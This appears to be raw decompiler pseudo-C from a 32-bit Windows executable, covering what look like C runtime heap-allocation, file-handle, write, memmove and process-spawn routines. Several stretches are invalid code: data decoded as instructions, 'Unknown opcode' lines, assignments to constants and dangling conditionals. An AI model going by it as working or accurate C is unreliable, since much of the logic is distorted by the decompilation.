*(ebx + 4) = *(ebx + 4) | -2147483648 >> cl;
}
edi = eax + Vfffffffc * 4 + 196;
ecx = esi - 32;
*edi = *edi | -2147483648 >> cl;
}
}
ecx = Vfffffff8;
}
if(ecx != 0) {
*edx = ecx;
*(ecx + edx - 4) = ecx;
goto L004069ae;
L004069ab:
ecx = Vfffffff8;
}
L004069ae:
esi = Vfffffff0;
edx = edx + ecx;
ecx = esi + 1;
*edx = ecx;
*(edx + esi - 4) = *edx;
esi = Vfffffff4;
ecx = *esi;
ecx :: 0;
if(!( *esi = ecx + 1) && ebx == *L0064AC34 && Vfffffffc == *L0064AC2C) {
*L0064AC34 = 0;
}
*eax = Vfffffffc;
eax = edx + 4;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

stack space not deallocated on return
/* Procedure: 0x004069F1 - 0x00406AA1
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L004069F1()
{

eax = *L0064AC38;
ecx = *L0064AC28;
(save)esi;
(save)edi;
edi = 0;
if(eax == ecx) {
(save)ecx + ecx * 4 + 80 << 2;
(save) *L0064AC3C;
(save)0;
(save) *L0064AC40;
eax = *__imp__HeapReAlloc();
if(eax == edi) {
goto L00406a84;
}
*L0064AC28 = *L0064AC28 + 16;
*L0064AC3C = eax;
eax = *L0064AC38;
}
(save)16836;
(save)8;
(save) *L0064AC40;
esi = *L0064AC3C + (eax + eax * 4) * 4;
eax = *__imp__HeapAlloc();
*(esi + 16) = eax;
if(eax != edi) {
(save)4;
(save)8192;
(save)1048576;
(save)edi;
eax = *__imp__VirtualAlloc();
*(esi + 12) = eax;
if(eax != edi) {
goto L00406a88;
}
*__imp__HeapFree( *L0064AC40, edi, *(esi + 16));
}
L00406a84:
eax = 0;
goto L00406a9f;
L00406a88:
*(esi + 8) = *(esi + 8) | -1;
*esi = edi;
*(esi + 4) = edi;
*L0064AC38 = *L0064AC38 + 1;
*( *(esi + 16)) = *( *(esi + 16)) | -1;
eax = esi;
L00406a9f:
(restore)edi;
(restore)esi;
}

/* Procedure: 0x00406AA2 - 0x00406B9C
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00406AA2(A8)
/* unknown */ void A8;
{

(save)ecx;
ecx = A8;
(save)ebx;
(save)esi;
(save)edi;
esi = *(ecx + 16);
eax = *(ecx + 8);
for(ebx = 0; eax >= 0; ebx = ebx + 1) {
eax = eax << 1;
}
eax = ebx;
(save)63;
516 = eax * eax;
(restore)edx;
eax = eax + esi + 324;
*(ebp - 4) = eax;
do {
*(eax + 8) = eax;
*(eax + 4) = eax;
eax = eax + 8;
} while(edx = edx - 1);
edi = (ebx << 15) + *(ecx + 12);
eax = *__imp__VirtualAlloc(edi, 32768, 4096, 4);
if(eax == 0) {
eax = eax | -1;
} else {
edx = edi + 28672;
if(edi <= edx) {
eax = edi + 16;
do {
*(eax - 8) = *(eax - 8) | -1;
*(eax + 4076) = *(eax + 4076) | -1;
*(eax - 4) = 4080;
*eax = eax + 4092;
*(eax + 4) = eax + -4100;
*(eax + 4072) = 4080;
eax = eax + 4096;
} while(eax - 16 <= edx);
}
eax = *(ebp - 4);
ecx = edi + 12;
eax = eax + 504;
edi = 1;
*(eax + 4) = ecx;
*(ecx + 8) = eax;
ecx = edx + 12;
*(eax + 8) = ecx;
*( *(eax + 8) + 4) = eax;
*(esi + ebx * 4 + 68) = 0;
*(esi + ebx * 4 + 196) = 1;
al = *(esi + 67);
cl = al + 1;
eax = A8;
*(esi + 67) = cl;
if(al == 0) {
*(eax + 4) = *(eax + 4) | 1;
}
*(eax + 8) = *(eax + 8) & !(-2147483648 >> ebx);
eax = ebx;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x00406B9D - 0x00406E92
* Argument size: 3
* Local size: 12
* Save regs size: 0
*/

L00406B9D(A8, Ac, Af, A10, A13)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void Af;
/* unknown */ void A10;
/* unknown */ void A13;
{
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

ecx = A8;
(save)ebx;
(save)esi;
(save)edi;
edi = Ac;
edx = edi;
edx = edx - *(ecx + 12);
eax = *(ecx + 16);
esi = A10 + 23 & -16;
edx = edx >> 15;
ecx = edx;
516 = ecx * ecx;
Vfffffff4 = ecx + eax + 324;
ecx = *(edi - 4) - 1;
esi :: ecx;
A10 = ecx;
ebx = *(ecx + edi - 4);
Vfffffffc = ebx;
if(!(edi = ecx + edi - 4)) {
if(!(bl & 1) && esi <= ebx + ecx) {
ecx = (Vfffffffc >> 4) - 1;
Vfffffff8 = ecx;
if(ecx > 63) {
ecx = 63;
Vfffffff8 = 63;
}
if(*(edi + 4) == *(edi + 8)) {
if(ecx >= 32) {
goto L00406c40;
}
ebx = -2147483648 >> cl;
ecx = Vfffffff8 + eax + 4;
ebx = !ebx;
*(eax + edx * 4 + 68) = *(eax + edx * 4 + 68) & ebx;
if(!( *ecx = *ecx - 1)) {
*A8 = *A8 & ebx;
goto L00406c64;
L00406c40:
ecx = ecx + -32;
ebx = -2147483648 >> cl;
ecx = Vfffffff8 + eax + 4;
ebx = !ebx;
*(eax + edx * 4 + 196) = *(eax + edx * 4 + 196) & ebx;
if(!( *ecx = *ecx - 1)) {
*(A8 + 4) = *(A8 + 4) & ebx;
}
}
}
L00406c64:
ecx = *(edi + 8);
*(ecx + 4) = *(edi + 4);
ecx = *(edi + 4);
*(ecx + 8) = *(edi + 8);
Vfffffffc = Vfffffffc + A10 - esi;
if(Vfffffffc > 0) {
edi = (Vfffffffc >> 4) - 1;
ecx = Ac + esi - 4;
if(edi > 63) {
edi = 63;
}
ebx = Vfffffff4 + edi * 8;
A10 = ebx;
*(ecx + 4) = *(A10 + 4);
ebx = A10;
*(ecx + 8) = ebx;
*( *(ecx + 8) + 4) = ecx;
*( *(ecx + 4) + 8) = ecx;
if(*(ecx + 4) == *(ecx + 8)) {
cl = *(edi + eax + 4);
edi :: 32;
A13 = cl;
*(edi + eax + 4) = cl;
if(!(cl = A13 + 1)) {
if(A13 == 0) {
ecx = edi;
ebx = -2147483648 >> cl;
*A8 = *A8 | ebx;
}
eax = eax + edx * 4 + 68;
edx = -2147483648;
ecx = edi;
} else {
if(A13 == 0) {
ecx = edi - 32;
ebx = -2147483648 >> cl;
*(A8 + 4) = *(A8 + 4) | ebx;
}
eax = eax + edx * 4 + 196;
ecx = edi - 32;
edx = -2147483648;
}
*eax = *eax | edx >> cl;
}
edx = Ac;
ecx = Vfffffffc;
eax = edx + esi - 4;
*eax = ecx;
*( *eax + eax - 4) = *eax;
} else {
edx = Ac;
}
*(edx - 4) = eax;
*(edx + esi - 8) = *(edx - 4);
goto L00406e8b;
}
eax = 0;
} else {
if(!(eax = esi + 1)) {
ebx = Ac;
A10 = A10 - esi;
ecx = esi + 1;
*(ebx - 4) = ecx;
ebx = ebx + esi - 4;
Ac = ebx;
esi = (A10 >> 4) - 1;
*(ebx - 4) = ecx;
if(esi > 63) {
esi = 63;
}
if(!(Vfffffffc & 1)) {
esi = (Vfffffffc >> 4) - 1;
if(esi > 63) {
esi = 63;
}
if(*(edi + 4) == *(edi + 8)) {
if(esi < 32) {
ebx = -2147483648 >> esi;
esi = esi + eax + 4;
ebx = !ebx;
*(eax + edx * 4 + 68) = *(eax + edx * 4 + 68) & ebx;
if(!( *esi = *esi - 1)) {
*A8 = *A8 & ebx;
}
} else {
ecx = esi - 32;
ebx = -2147483648 >> cl;
ecx = esi + eax + 4;
ebx = !ebx;
*(eax + edx * 4 + 196) = *(eax + edx * 4 + 196) & ebx;
if(!( *ecx = *ecx - 1)) {
*(A8 + 4) = *(A8 + 4) & ebx;
}
}
ebx = Ac;
}
ecx = *(edi + 8);
*(ecx + 4) = *(edi + 4);
ecx = *(edi + 4);
*(ecx + 8) = *(edi + 8);
esi = A10 + Vfffffffc;
A10 = esi;
esi = (A10 >> 4) - 1;
if(esi > 63) {
esi = 63;
}
}
ecx = Vfffffff4;
edi = *(ecx + esi * 8 + 4);
ecx = ecx + esi * 8;
*(ebx + 4) = edi;
*(ebx + 8) = ecx;
*( *(ebx + 8) + 4) = ebx;
*( *(ebx + 4) + 8) = ebx;
if(*(ebx + 4) == *(ebx + 8)) {
cl = *(esi + eax + 4);
esi :: 32;
Af = cl;
*(esi + eax + 4) = cl;
if(!(cl = Af + 1)) {
if(Af == 0) {
ecx = esi;
edi = -2147483648 >> cl;
*A8 = *A8 | edi;
}
eax = eax + edx * 4 + 68;
edx = -2147483648;
ecx = esi;
} else {
if(Af == 0) {
ecx = esi - 32;
edi = -2147483648 >> cl;
*(A8 + 4) = *(A8 + 4) | edi;
}
eax = eax + edx * 4 + 196;
ecx = esi - 32;
edx = -2147483648;
}
*eax = *eax | edx >> cl;
}
eax = A10;
*ebx = eax;
*( *ebx + ebx - 4) = *ebx;
}
L00406e8b:
eax = 1;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* DEST BLOCK NOT FOUND: 00406eed -> 00406ef9 */
/* Procedure: 0x00406E93 - 0x00406EF9
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00406E93(A4)
/* unknown */ void A4;
{

edx = 0;
*L0064A7F8 = A4;
eax = 0x40cc80;
do {
if(A4 == *eax) {
goto L00406ec8;
}
eax = eax + 8;
edx = edx + 1;
} while(eax < 0x40cde8);
if(A4 >= 19 && A4 <= 36) {
*L0064A7F4 = 13;
return;
L00406ec8:
eax = *(edx * 8 + 0x40cc84);
*L0064A7F4 = eax;
return(*L0064A7F4);
}
if(A4 >= 188) {
*L0064A7F4 = 8;
if(A4 <= 202) {
goto L00406ef9;
}
}
*L0064A7F4 = 22;
L00406ef9:
}

/* Procedure: 0x00406EFA - 0x00406F8E
* Argument size: 0
* Local size: 0
* Save regs size: 12
*/

L00406EFA()
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void edi;

ebx = ebx | -1;
edi = 0;
esi = 0;
ecx = 6597728;
do {
eax = *ecx;
if(eax == 0) {
goto L00406f46;
}
for(edx = eax + 256; 1; eax = eax + 8) {
if(eax >= edx) {
goto L00406f35;
}
if(*(eax + 4) & 1) {
break;
}
}
*eax = *eax | -1;
ebx = (eax - *ecx >> 3) + esi;
if(ebx != -1) {
goto L00406f89;
}
L00406f35:
ecx = ecx + 4;
edi = edi + 1;
esi = esi + 32;
} while(ecx < 6597984);
return(ebx);
L00406f46:
esi = 256;
eax = L004072C1(256);
if(eax != 0) {
*L0064AD60 = *L0064AD60 + 32;
ecx = edi * 4 + 6597728;
edx = eax + 256;
for(*ecx = eax; eax < edx; edx = edx + esi) {
*(eax + 4) = 0;
*eax = *eax | -1;
*(eax + 5) = 10;
edx = *ecx;
eax = eax + 8;
}
ebx = edi << 5;
}
L00406f89:
return(ebx);
}

/* Procedure: 0x00406F8F - 0x00407005
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00406F8F(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

eax = A4;
(save)esi;
(save)edi;
if(eax < *L0064AD60) {
ecx = eax;
esi = eax;
ecx = ecx >> 5;
esi = esi & 31;
edi = ecx * 4 + 6597728;
esi = esi << 3;
if(*( *edi + esi) != -1) {
goto L00406fef;
}
(save)A8;
if(*L0040C668 == 1) {
== ? L00406fdc : ;
if(eax = eax - 1) {
goto L00406fd7;
}
if(!(eax = eax - 1)) {
(save)A8;
(save)-12;
goto L00406fdf;
L00406fd7:
(save)A8;
(save)-11;
goto L00406fdf;
(save)A8;
(save)-10;
L00406fdf:
*__imp__SetStdHandle();
}
}
*( *edi + esi) = A8;
eax = 0;
(restore)A8;
} else {
L00406fef:
*L0064A7F8 = 0;
*L0064A7F4 = 9;
eax = eax | -1;
}
(restore)edi;
(restore)esi;
}

/* Procedure: 0x00407006 - 0x0040707F
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00407006(A4)
/* unknown */ void A4;
{

ecx = A4;
(save)esi;
(save)edi;
if(ecx < *L0064AD60) {
eax = ecx;
esi = ecx;
eax = eax >> 5;
esi = esi & 31;
edi = eax * 4 + 6597728;
esi = esi << 3;
eax = *edi + esi;
if(*(eax + 4) & 1 || *eax == -1) {
goto L00407069;
}
if(*L0040C668 == 1) {
eax = 0;
ecx = ecx;
== ? L00407056 : ;
if(ecx = ecx - 1) {
goto L00407051;
}
if(!(ecx = ecx - 1)) {
(save)0;
(save)-12;
goto L00407059;
L00407051:
(save)eax;
(save)-11;
goto L00407059;
(save)eax;
(save)-10;
L00407059:
*__imp__SetStdHandle();
}
}
*( *edi + esi) = *( *edi + esi) | -1;
eax = 0;
} else {
L00407069:
*L0064A7F8 = 0;
*L0064A7F4 = 9;
eax = eax | -1;
}
(restore)edi;
(restore)esi;
}

/* Procedure: 0x00407080 - 0x004070BC
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00407080(A4)
/* unknown */ void A4;
{

eax = A4;
if(eax < *L0064AD60) {
ecx = eax;
eax = eax & 31;
ecx = *((ecx >> 5) * 4 + 6597728);
*(ecx + eax * 8 + 4) & 1;
if(!(eax = ecx + eax * 8)) {
return(*eax);
}
}
*L0064A7F8 = 0;
*L0064A7F4 = 9;
return(eax | -1);
}

/* DEST BLOCK NOT FOUND: 004070ff -> 00407113 */
/* Procedure: 0x004070BD - 0x00407113
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L004070BD(A4)
/* unknown */ void A4;
{

eax = A4;
if(eax < *L0064AD60) {
ecx = eax;
edx = eax;
ecx = ecx >> 5;
edx = edx & 31;
if(!( *( *(ecx * 4 + 6597728) + edx * 8 + 4) & 1)) {
(save)L00407080(eax);
eax = *__imp__FlushFileBuffers() == 0 ? *__imp__GetLastError() : 0;
if(eax == 0) {
goto L00407113;
}
*L0064A7F8 = eax;
}
}
*L0064A7F4 = 9;
eax = eax | -1;
L00407113:
}

/* Procedure: 0x00407114 - 0x004072C0
* Argument size: -1032
* Local size: 1044
* Save regs size: 0
*/

L00407114(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void Vfffffbec;
/* unknown */ void Vfffffff0;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

ecx = A8;
(save)ebx;
(save)esi;
(save)edi;
if(ecx < *L0064AD60) {
eax = ecx;
esi = ecx;
eax = eax >> 5;
esi = esi & 31;
ebx = eax * 4 + 6597728;
esi = esi << 3;
eax = *ebx;
al = *(eax + esi + 4);
if(al & 1) {
goto L004072a8;
}
edi = 0;
Vfffffff8 = 0;
Vfffffff0 = 0;
if(A10 == 0) {
L0040715e:
eax = 0;
} else {
if(!(al & 32)) {
L00404E62(ecx, edi, 2);
}
eax = *ebx + esi;
if(!( *(eax + 4) & 128)) {
Vfffffffc = Ac;
A8 = edi;
if(A10 <= edi) {
goto L0040727c;
}
do {
eax = & Vfffffbec;
do {
if(Vfffffffc - Ac >= A10) {
break;
}
ecx = Vfffffffc;
Vfffffffc = Vfffffffc + 1;
cl = *ecx;
if(cl == 10) {
Vfffffff0 = Vfffffff0 + 1;
*eax = 13;
eax = eax + 1;
}
*eax = cl;
eax = eax + 1;
ecx = eax;
} while(ecx - & Vfffffbec < 1024);
edi = eax;
edi = edi - & Vfffffbec;
(save)0;
(save) & Vfffffff4;
(save)edi;
(save) & Vfffffbec;
(save) *( *ebx + esi);
if(*__imp__WriteFile() == 0) {
goto L00407239;
}
eax = Vfffffff4;
Vfffffff8 = Vfffffff8 + eax;
} while(eax >= edi && Vfffffffc - Ac < A10);
L0040720b:
edi = 0;
L0040720d:
eax = Vfffffff8;
if(eax != edi) {
goto L004072a3;
}
if(A8 == edi) {
goto L0040727c;
}
eax = 5;
if(A8 != 5) {
goto L00407271;
}
*L0064A7F4 = 9;
*L0064A7F8 = 5;
goto L004072b9;
L00407239:
A8 = *__imp__GetLastError();
goto L0040720b;
}
(save)edi;
(save) & Vfffffff4;
(save)A10;
(save)Ac;
(save) *eax;
if(*__imp__WriteFile() != 0) {
A8 = edi;
Vfffffff8 = Vfffffff4;
goto L0040720d;
}
A8 = *__imp__GetLastError();
goto L0040720d;
L00407271:
eax = L00406E93(A8);
goto L004072b9;
L0040727c:
eax = *ebx;
if(!( *(eax + esi + 4) & 64)) {
eax = Ac;
if(*eax == 26) {
goto L0040715e;
}
}
*L0064A7F4 = 28;
*L0064A7F8 = edi;
goto L004072b9;
L004072a3:
eax = eax - Vfffffff0;
}
} else {
L004072a8:
*L0064A7F8 = 0;
*L0064A7F4 = 9;
L004072b9:
eax = eax | -1;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x004072C1 - 0x004072D2
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L004072C1(A4)
/* unknown */ void A4;
{

return(L004072D3(A4, *L0064A9CC));
}

/* DEST BLOCK NOT FOUND: 004072e6 -> 004072fe */
/* DEST BLOCK NOT FOUND: 004072ec -> 004072fe */
/* Procedure: 0x004072D3 - 0x004072FE
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L004072D3(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

if(A4 <= -32) {
do {
if(L004072FF(A4) != 0 || A8 == eax) {
goto L004072fe;
}
} while(L00409153(A4) != 0);
}
eax = 0;
L004072fe:
}

/* Procedure: 0x004072FF - 0x00407334
* Argument size: 4
* Local size: 0
* Save regs size: 4
*/

L004072FF(A8)
/* unknown */ void A8;
{
/* unknown */ void esi;

esi = A8;
if(esi <= *L0040CC78) {
(save)esi;
eax = L004066E8();
if(eax != 0) {
goto L00407333;
}
}
if(esi == 0) {
esi = 1;
}
eax = *__imp__HeapAlloc( *L0064AC40, 0, esi + 15 & -16);
L00407333:
}

/* Procedure: 0x00407335 - 0x0040735F
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00407335(A4)
/* unknown */ void A4;
{

eax = A4;
if(eax >= *L0064AD60) {
return(0);
}
ecx = eax;
eax = eax & 31;
return(*( *((ecx >> 5) * 4 + 6597728) + eax * 8 + 4) & 64);
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* DEST BLOCK NOT FOUND: 00407562 -> f9c3c469 */
/* DEST BLOCK NOT FOUND: 0040756e -> f9c3c469 */
/* Procedure: 0x00407360 - 0x00407694
* Argument size: 12
* Local size: 0
* Save regs size: 8
*/

L00407360(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void esi;
/* unknown */ void edi;

esi = Ac;
ecx = A10;
edi = A8;
eax = ecx;
edx = ecx;
eax = eax + esi;
if(edi <= esi || edi >= eax) {
if(!(edi & 3)) {
ecx = ecx >> 2;
edx = edx & 3;
if(ecx < 8) {
goto L004073bc;
}
asm("rep movsd");
goto *(edx * 4 + 0x4074a8)[L004074b8, L004074c0, L004074cc, L004074e0, ]goto ( *(edx * 4 + 0x4074a8));
}
eax = edi;
edx = 3;
if(!(ecx = ecx - 4)) {
eax = eax & 3;
goto ( *(eax * 4 + 0x4073c0));
}
goto ( *(ecx * 4 + 0x4074b8));
L004073bc:
goto *(ecx * 4 + 0x40743c)[L0040749f, L0040748c, L00407484, L0040747c, L00407474, L0040746c, L00407464, L0040745c, ]goto ( *(ecx * 4 + 0x40743c));
asm("Unknown opcode 0xd0");
if(!(ecx = ecx + eax)) {
if(ah = ah + bh) {
goto L0040740b;
}
if(*eax = *eax + ah) {
goto L0040740f;
}
*ebx = *ebx + ah;
asm("ror dword [edx+0x8a078806],1");
esi = esi + 1;
*(eax + 1183449415) = *(eax + 1183449415) + ecx;
al = al + cl;
goto L0287fbe7;
esi = esi + 3;
edi = edi + 3;
if(ecx < 8) {
goto L004073bc;
}
asm("rep movsd");
goto *(edx * 4 + 0x4074a8)[L004074b8, L004074c0, L004074cc, L004074e0, ]goto ( *(edx * 4 + 0x4074a8));
edx = edx & ecx;
al = *esi;
*edi = al;
al = *(esi + 1);
ecx = ecx >> 2;
}
*(edi + 1) = al;
L0040740b:
esi = esi + 2;
edi = edi + 2;
L0040740f:
if(ecx < 8) {
goto L004073bc;
}
asm("rep movsd");
goto *(edx * 4 + 0x4074a8)[L004074b8, L004074c0, L004074cc, L004074e0, ]goto ( *(edx * 4 + 0x4074a8));
edx = edx & ecx;
al = *esi;
*edi = al;
esi = esi + 1;
ecx = ecx >> 2;
edi = edi + 1;
if(ecx < 8) {
goto L004073bc;
}
asm("rep movsd");
goto *(edx * 4 + 0x4074a8)[L004074b8, L004074c0, L004074cc, L004074e0, ]goto ( *(edx * 4 + 0x4074a8));
eax = *(esi + ecx * 4 - 28);
*(edi + ecx * 4 - 28) = eax;
eax = *(esi + ecx * 4 - 24);
*(edi + ecx * 4 - 24) = eax;
eax = *(esi + ecx * 4 - 20);
*(edi + ecx * 4 - 20) = eax;
eax = *(esi + ecx * 4 - 16);
*(edi + ecx * 4 - 16) = eax;
eax = *(esi + ecx * 4 - 12);
*(edi + ecx * 4 - 12) = eax;
eax = *(esi + ecx * 4 - 8);
*(edi + ecx * 4 - 8) = eax;
eax = *(esi + ecx * 4 - 4);
*(edi + ecx * 4 - 4) = eax;
eax = ecx * 4;
esi = esi + eax;
edi = edi + eax;
goto *(edx * 4 + 0x4074a8)[L004074b8, L004074c0, L004074cc, L004074e0, ]goto ( *(edx * 4 + 0x4074a8));
return(A8);
al = *esi;
*edi = al;
esp = ebp;
return(A8);
al = *esi;
*edi = al;
al = *(esi + 1);
*(edi + 1) = al;
esp = ebp;
return(A8);
*edi = *esi;
al = *(esi + 1);
*(edi + 1) = al;
al = *(esi + 2);
*(edi + 2) = al;
esp = ebp;
return(A8);
}
esi = ecx + esi - 4;
edi = ecx + edi - 4;
if(!(edi & 3)) {
ecx = ecx >> 2;
edx = edx & 3;
if(ecx >= 8) {
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x407640)[L00407650, L00407658, L00407668, L0040767c, ]goto ( *(edx * 4 + 0x407640));
}
L00407520:
ecx = ~ecx;
goto *(ecx * 4 + 0x4075f0)[L00407637, ]goto ( *(ecx * 4 + 0x4075f0));
}
eax = edi;
edx = 3;
if(ecx >= 4) {
eax = eax & 3;
goto ( *(eax * 4 + 0x407548));
}
goto *(ecx * 4 + 0x407640)[L00407650, L00407658, L00407668, L0040767c, ]goto ( *(ecx * 4 + 0x407640));
(restore)eax;
if(!(ecx = ecx - eax)) {
*(eax + 117) = *(eax + 117) + bh;
eax = eax + 1;
*(eax + -1979694987) = *(eax + -1979694987) + ah;
esi = esi + 1;
esp = esp + *ebx;
asm("ror dword [eax+0xc14e0347],1");
goto Lf9c3c469;
*(edx - 74) = *(edx - 74) | dh;
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x407640)[L00407650, L00407658, L00407668, L0040767c, ]goto ( *(edx * 4 + 0x407640));
al = *(esi + 3);
edx = edx & ecx;
*(edi + 3) = al;
al = *(esi + 2);
ecx = ecx >> 2;
*(edi + 2) = al;
esi = esi - 2;
edi = edi - 2;
}
if(ecx < 8) {
goto L00407520;
}
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x407640)[L00407650, L00407658, L00407668, L0040767c, ]goto ( *(edx * 4 + 0x407640));
al = *(esi + 3);
edx = edx & ecx;
*(edi + 3) = al;
al = *(esi + 2);
*(edi + 2) = al;
al = *(esi + 1);
ecx = ecx >> 2;
*(edi + 1) = al;
esi = esi - 3;
edi = edi - 3;
if(ecx < 8) {
goto L00407520;
}
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x407640)[L00407650, L00407658, L00407668, L0040767c, ]goto ( *(edx * 4 + 0x407640));
asm("hlt");
!= ? 0x407617 : ;
if(!(ah = ah + bh)) {
*(esi + esi * 2) = *(esi + esi * 2) + al;
*(esi + esi * 2) = *(esi + esi * 2) + cl;
*(esi + esi * 2) = *(esi + esi * 2) + dl;
*(esi + esi * 2) = *(esi + esi * 2) + bl;
*(esi + esi * 2) = *(esi + esi * 2) + eax + 1 + 1 + 1 + 1;
eax = eax + 1 + 1 + 1 + 1 + 1;
if(*edi = *edi + dh) {
goto L00407633;
}
*(ebx + -1994617276) = *(ebx + -1994617276) + cl;
esp = esp + 1;
asm("Unknown opcode 0x8f");
asm("sbb al,0x8b");
esp = esp + 1;
ds = *eax;
*(edi + ecx * 4 + 24) = eax;
*(edi + ecx * 4 + 20) = *(esi + ecx * 4 + 20);
*(edi + ecx * 4 + 16) = *(esi + ecx * 4 + 16);
eax = *(esi + ecx * 4 + 12);
*(edi + ecx * 4 + 12) = eax;
}
*(edi + ecx * 4 + 8) = *(esi + ecx * 4 + 8);
*(edi + ecx * 4 + 4) = *(esi + ecx * 4 + 4);
eax = ecx * 4;
L00407633:
esi = esi + eax;
edi = edi + eax;
goto *(edx * 4 + 0x407640)[L00407650, L00407658, L00407668, L0040767c, ]goto ( *(edx * 4 + 0x407640));
esp = ebp;
return(A8);
*(edi + 3) = *(esi + 3);
esp = ebp;
return(A8);
*(edi + 3) = *(esi + 3);
*(edi + 2) = *(esi + 2);
esp = ebp;
return(A8);
*(edi + 3) = *(esi + 3);
*(edi + 2) = *(esi + 2);
*(edi + 1) = *(esi + 1);
esp = ebp;
return(A8);
}

/* Procedure: 0x00407695 - 0x004076F4
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00407695(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

eax = 0;
if(*L0064AA1C == 0) {
return(L00409170(A8, Ac));
}
edx = A8;
(save)ebx;
(save)esi;
do {
bl = *edx;
ecx = bl & 255;
if(*((cl & 255) + 6597409) & 4) {
} else {
bl = *(edx + 1);
edx = edx + 1;
if(bl != 0) {
goto L004076cf;
}
eax :: 0;
}
if(Ac == ecx) {
eax = edx;
goto L004076ec;
L004076cf:
esi = bl & 255;
if(Ac == (ecx << 8 | esi)) {
eax = edx - 1;
}
}
L004076ec:
edx = edx + 1;
} while(bl != 0);
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x004076F5 - 0x00407768
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L004076F5(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

for(ecx = A8; *ecx == 59; ecx = ecx + 1) {
}
(save)esi;
eax = ecx;
if(!(A10 = A10 - 1)) {
dl = *ecx;
esi = Ac;
do {
if(dl == 59) {
break;
}
if(dl == 34) {
ecx = ecx + 1;
while(1) {
dl = *ecx;
if(dl == 0 || dl == 34) {
break;
}
*esi = dl;
esi = esi + 1;
ecx = ecx + 1;
if(A10 = A10 - 1) {
goto L00407754;
}
}
if(*ecx != 0) {
ecx = ecx + 1;
}
} else {
*esi = dl;
esi = esi + 1;
ecx = ecx + 1;
if(A10 = A10 - 1) {
goto L00407754;
}
}
dl = *ecx;
} while(dl != 0);
while(1) {
if(*ecx != 59) {
goto L0040775b;
}
ecx = ecx + 1;
}
L00407754:
eax = ecx;
} else {
esi = Ac;
}
L0040775b:
*esi = 0;
eax = ~(eax - ecx);
asm("sbb eax,eax");
(restore)esi;
return(eax & ecx);
}

/* Procedure: 0x00407769 - 0x004077DB
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00407769(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

if(*L0064AA1C == 0) {
return(L004091B0(A8, Ac));
}
for(ecx = A8; 1; ecx = ecx + 1) {
ax = *ecx & 65535;
if(ax == 0) {
goto L004077ca;
}
if(*((al & 255) + 6597409) & 4) {
if(Ac == (ax & 65535)) {
goto L004077ca;
} else {
goto L004077be;
}
}
dl = *(ecx + 1);
ecx = ecx + 1;
if(dl == 0) {
break;
}
eax = ax & 65535;
edx = dl & 255;
if(Ac == (eax << 8 | edx)) {
goto L004077c5;
}
L004077be:
}
return(0);
L004077c5:
return(ecx - 1);
L004077ca:
edx = ax & 65535;
eax = ~(Ac - edx);
asm("sbb eax,eax");
return(!eax & ecx);
}

/* Procedure: 0x004077DC - 0x004079BA
* Argument size: -80
* Local size: 96
* Save regs size: 0
*/

L004077DC(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void Vffffffa0;
/* unknown */ void Vffffffd2;
/* unknown */ void Vffffffd4;
/* unknown */ void Vffffffe4;
/* unknown */ void Vffffffe8;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vffffffff;

eax = A8;
Vffffffff = 0;
(save)ebx;
(save)esi;
(save)edi;
edi = 0;
Vfffffff8 = 0;
if(eax != 0 && eax != 1) {
<= ? L0040782c : ;
if(eax > 3) {
if(eax != 4) {
goto L0040782c;
}
Vffffffff = 1;
}
}
eax = A10;
for(Vfffffff4 = eax; 1; eax = ecx) {
if(*eax == 0) {
goto L00407841;
}
do {
eax = eax + 1;
} while(*eax != 0);
*(eax + 1) :: 0;
if(ecx = eax + 1) {
continue;
}
*eax = 32;
}
L0040782c:
*L0064A7F4 = 22;
*L0064A7F8 = edi;
goto L0040795d;
L00407841:
(save)68;
(restore)esi;
L00408B40( & Vffffffa0, edi, esi);
Vffffffa0 = esi;
esi = *L0064AD60;
if(esi != edi) {
eax = esi - 1;
do {
ecx = eax;
edx = eax;
ecx = ecx >> 5;
edx = edx & 31;
if(*( *(ecx * 4 + 6597728) + edx * 8 + 4) != 0) {
break;
}
esi = esi - 1;
eax = eax - 1;
} while(esi != edi);
}
eax = esi + esi * 4 + 4;
(save)1;
Vffffffd2 = ax;
eax = L00407FFB(Vffffffd2 & 65535);
Vffffffd4 = eax;
*Vffffffd4 = esi;
